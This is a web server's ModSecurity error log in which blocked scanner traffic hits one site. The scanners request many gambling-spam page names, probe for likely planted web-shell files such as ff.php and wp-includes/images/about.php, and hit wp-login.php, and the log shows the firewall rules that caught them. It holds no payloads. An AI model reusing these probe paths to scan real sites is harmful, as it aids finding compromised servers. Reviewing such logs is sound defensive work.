[Tue Feb 17 03:20:27.055428 2026] [:error] [pid 4347:tid 4377] [client 31.220.76.35:35794] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZNt-zFcjv6pEAnSEidOSwAAAAk"]
[Tue Feb 17 03:20:29.275702 2026] [:error] [pid 38888:tid 38903] [client 31.220.76.35:59524] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZNt_amDoBJWPvV4pcO0jAAAAUw"]
[Tue Feb 17 03:20:31.256196 2026] [:error] [pid 4348:tid 4400] [client 31.220.76.35:40806] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZNt_3xbK-cCGKg9aysWsQAAAEU"]
[Tue Feb 17 03:20:33.343028 2026] [:error] [pid 34904:tid 34923] [client 31.220.76.35:40816] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZNuARoDUNgfYrSP5-uIjwAAAdE"]
[Tue Feb 17 03:20:35.402018 2026] [:error] [pid 34933:tid 34976] [client 31.220.76.35:40830] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZNuA8ubrqI4iEJPNFmcBQAAAko"]
[Tue Feb 17 03:20:37.629061 2026] [:error] [pid 4348:tid 4414] [client 31.220.76.35:40834] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZNuBXxbK-cCGKg9aysWtgAAAFM"]
[Tue Feb 17 03:20:39.704062 2026] [:error] [pid 34904:tid 34930] [client 31.220.76.35:36484] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZNuBxoDUNgfYrSP5-uIlgAAAdg"]
[Tue Feb 17 03:20:41.741151 2026] [:error] [pid 4347:tid 4376] [client 31.220.76.35:36492] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZNuCTFcjv6pEAnSEidOXQAAAAg"]
[Tue Feb 17 03:20:43.880175 2026] [:error] [pid 4349:tid 4445] [client 31.220.76.35:36498] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZNuC8rbZYafUL_3QfxZ7gAAAJc"]
[Tue Feb 17 03:20:46.032611 2026] [:error] [pid 26648:tid 26665] [client 31.220.76.35:36502] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZNuDjT55fUixS3gmyiUVAAAAYw"]
[Tue Feb 17 03:20:48.084914 2026] [:error] [pid 4347:tid 4370] [client 31.220.76.35:36504] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZNuEDFcjv6pEAnSEidObAAAAAI"]
[Tue Feb 17 03:20:50.195618 2026] [:error] [pid 4455:tid 4476] [client 31.220.76.35:51736] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZNuEgNa-4dvQCL0rurmDAAAANM"]
[Tue Feb 17 03:20:52.198444 2026] [:error] [pid 34933:tid 34983] [client 31.220.76.35:51752] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZNuFMubrqI4iEJPNFmcEAAAAlE"]
[Tue Feb 17 03:20:54.134496 2026] [:error] [pid 4455:tid 4469] [client 31.220.76.35:51754] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZNuFgNa-4dvQCL0rurmGAAAAMw"]
[Tue Feb 17 03:20:56.191404 2026] [:error] [pid 38888:tid 38915] [client 31.220.76.35:51764] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZNuGKmDoBJWPvV4pcO0pwAAAVg"]
[Tue Feb 17 03:20:58.150159 2026] [:error] [pid 4348:tid 4412] [client 31.220.76.35:51778] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZNuGnxbK-cCGKg9aysWugAAAFE"]
[Tue Feb 17 03:21:00.209691 2026] [:error] [pid 4348:tid 4395] [client 31.220.76.35:53396] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZNuHHxbK-cCGKg9aysWvwAAAEA"]
[Tue Feb 17 03:21:02.277806 2026] [:error] [pid 4349:tid 4442] [client 31.220.76.35:53410] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZNuHsrbZYafUL_3QfxaAgAAAJQ"]
[Tue Feb 17 03:21:04.461918 2026] [:error] [pid 4347:tid 4375] [client 31.220.76.35:53418] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZNuIDFcjv6pEAnSEidOiwAAAAc"]
[Tue Feb 17 03:21:06.535521 2026] [:error] [pid 38888:tid 38891] [client 31.220.76.35:53420] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZNuIqmDoBJWPvV4pcO0tQAAAUA"]
[Tue Feb 17 03:21:08.668105 2026] [:error] [pid 4347:tid 4371] [client 31.220.76.35:53432] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZNuJDFcjv6pEAnSEidOlgAAAAM"]
[Tue Feb 17 03:21:10.703447 2026] [:error] [pid 35004:tid 35029] [client 31.220.76.35:56912] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZNuJmX1hIIv5l_K_OuiSQAAApc"]
[Tue Feb 17 03:21:12.745801 2026] [:error] [pid 35004:tid 35007] [client 31.220.76.35:56918] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZNuKGX1hIIv5l_K_OuiTAAAAoE"]
[Tue Feb 17 03:21:14.753352 2026] [:error] [pid 34932:tid 34949] [client 31.220.76.35:56924] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZNuKkKCWyYIg5P1IPfdHQAAAgo"]
[Tue Feb 17 03:21:16.866674 2026] [:error] [pid 34932:tid 34962] [client 31.220.76.35:56926] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZNuLEKCWyYIg5P1IPfdIQAAAhc"]
[Tue Feb 17 03:21:18.887366 2026] [:error] [pid 34933:tid 34986] [client 31.220.76.35:56942] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZNuLsubrqI4iEJPNFmcNQAAAlQ"]
[Tue Feb 17 03:21:20.949395 2026] [:error] [pid 34932:tid 34941] [client 31.220.76.35:51706] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZNuMEKCWyYIg5P1IPfdJwAAAgI"]
[Tue Feb 17 03:21:23.126207 2026] [:error] [pid 4455:tid 4474] [client 31.220.76.35:51716] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZNuMwNa-4dvQCL0rurmNwAAANE"]
[Tue Feb 17 03:21:58.552602 2026] [:error] [pid 4347:tid 4380] [client 31.220.76.35:51724] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aZNuVjFcjv6pEAnSEidO2gAAAAw"]
[Tue Feb 17 03:22:00.543132 2026] [:error] [pid 35004:tid 35030] [client 31.220.76.35:56714] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aZNuWGX1hIIv5l_K_OuidQAAApg"]
[Tue Feb 17 03:22:02.951978 2026] [:error] [pid 34904:tid 34907] [client 31.220.76.35:56730] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZNuWhoDUNgfYrSP5-uI1AAAAcE"]
[Tue Feb 17 03:22:05.069907 2026] [:error] [pid 4349:tid 4427] [client 31.220.76.35:56746] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aZNuXcrbZYafUL_3QfxaSQAAAIU"]
[Tue Feb 17 03:22:07.075152 2026] [:error] [pid 34932:tid 34952] [client 31.220.76.35:56758] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZNuX0KCWyYIg5P1IPfdRAAAAg0"]
[Tue Feb 17 03:22:09.088624 2026] [:error] [pid 35004:tid 35028] [client 31.220.76.35:56764] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZNuYWX1hIIv5l_K_OuiewAAApY"]
[Tue Feb 17 03:22:11.160072 2026] [:error] [pid 34932:tid 34959] [client 31.220.76.35:54272] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZNuY0KCWyYIg5P1IPfdTAAAAhQ"]
[Tue Feb 17 03:22:13.225801 2026] [:error] [pid 4455:tid 4472] [client 31.220.76.35:54282] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZNuZQNa-4dvQCL0rurmWwAAAM8"]
[Tue Feb 17 03:22:15.131029 2026] [:error] [pid 4349:tid 4434] [client 31.220.76.35:54296] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZNuZ8rbZYafUL_3QfxaVAAAAIw"]
[Tue Feb 17 03:22:17.051279 2026] [:error] [pid 38888:tid 38907] [client 31.220.76.35:54310] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aZNuaamDoBJWPvV4pcO08wAAAVA"]
[Tue Feb 17 03:22:19.126972 2026] [:error] [pid 26648:tid 26672] [client 31.220.76.35:54324] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZNuazT55fUixS3gmyiUfQAAAZM"]
[Tue Feb 17 03:22:21.032407 2026] [:error] [pid 4348:tid 4417] [client 31.220.76.35:44990] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZNubXxbK-cCGKg9aysXAwAAAFY"]
[Tue Feb 17 03:22:22.944673 2026] [:error] [pid 4347:tid 4375] [client 31.220.76.35:44996] [client 31.220.76.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZNubjFcjv6pEAnSEidO9gAAAAc"]
[Tue Feb 17 03:22:28.954594 2026] [:error] [pid 34933:tid 34970] [client 103.77.106.246:63371] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZNudMubrqI4iEJPNFmcZwAAAkQ"]
[Tue Feb 17 04:20:17.927032 2026] [:error] [pid 58552:tid 58611] [client 158.158.33.103:38740] [client 158.158.33.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZN8ATBHVJP2Oz3yR5e7ygAAAFA"]
[Tue Feb 17 04:20:23.587684 2026] [:error] [pid 58552:tid 58604] [client 158.158.33.103:39159] [client 158.158.33.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZN8BzBHVJP2Oz3yR5e72QAAAEk"]
[Tue Feb 17 04:20:27.015077 2026] [:error] [pid 58552:tid 58606] [client 158.158.33.103:5692] [client 158.158.33.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZN8CzBHVJP2Oz3yR5e73AAAAEs"]
[Tue Feb 17 04:20:32.404387 2026] [:error] [pid 58552:tid 58618] [client 158.158.33.103:27857] [client 158.158.33.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZN8EDBHVJP2Oz3yR5e76QAAAFc"]
[Tue Feb 17 04:20:41.928768 2026] [:error] [pid 58551:tid 58571] [client 158.158.33.103:39139] [client 158.158.33.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZN8Ga1t8eWr-MgFspo_hQAAAAs"]
[Tue Feb 17 04:21:06.209496 2026] [:error] [pid 58659:tid 58676] [client 158.158.33.103:5541] [client 158.158.33.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZN8MsDX32iTEO4jt2-60QAAAM8"]
[Tue Feb 17 04:21:08.032839 2026] [:error] [pid 58659:tid 58668] [client 158.158.33.103:23976] [client 158.158.33.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZN8NMDX32iTEO4jt2-61gAAAMc"]
[Tue Feb 17 04:21:12.256898 2026] [:error] [pid 58558:tid 58628] [client 158.158.33.103:39439] [client 158.158.33.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZN8OCmIxlfUL2nViZyIZAAAAIY"]
[Tue Feb 17 04:21:31.731434 2026] [:error] [pid 58551:tid 58562] [client 158.158.33.103:5505] [client 158.158.33.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/about.php"] [unique_id "aZN8S61t8eWr-MgFspo_0AAAAAI"]
[Tue Feb 17 04:24:15.470200 2026] [:error] [pid 58552:tid 58619] [client 103.77.106.246:64597] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZN87zBHVJP2Oz3yR5e9RAAAAFg"]
[Tue Feb 17 04:41:14.165809 2026] [:error] [pid 32790:tid 32816] [client 49.51.183.84:60152] [client 49.51.183.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZOA6ns3HJP9ozPHsN6sBQAAARY"]
[Tue Feb 17 04:57:16.101726 2026] [:error] [pid 58659:tid 58661] [client 20.203.180.135:23937] [client 20.203.180.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZOErMDX32iTEO4jt2_O6QAAAMA"]
[Tue Feb 17 04:57:22.312173 2026] [:error] [pid 58552:tid 58608] [client 20.203.180.135:7195] [client 20.203.180.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/init.php"] [unique_id "aZOEsjBHVJP2Oz3yR5fLaQAAAE0"]
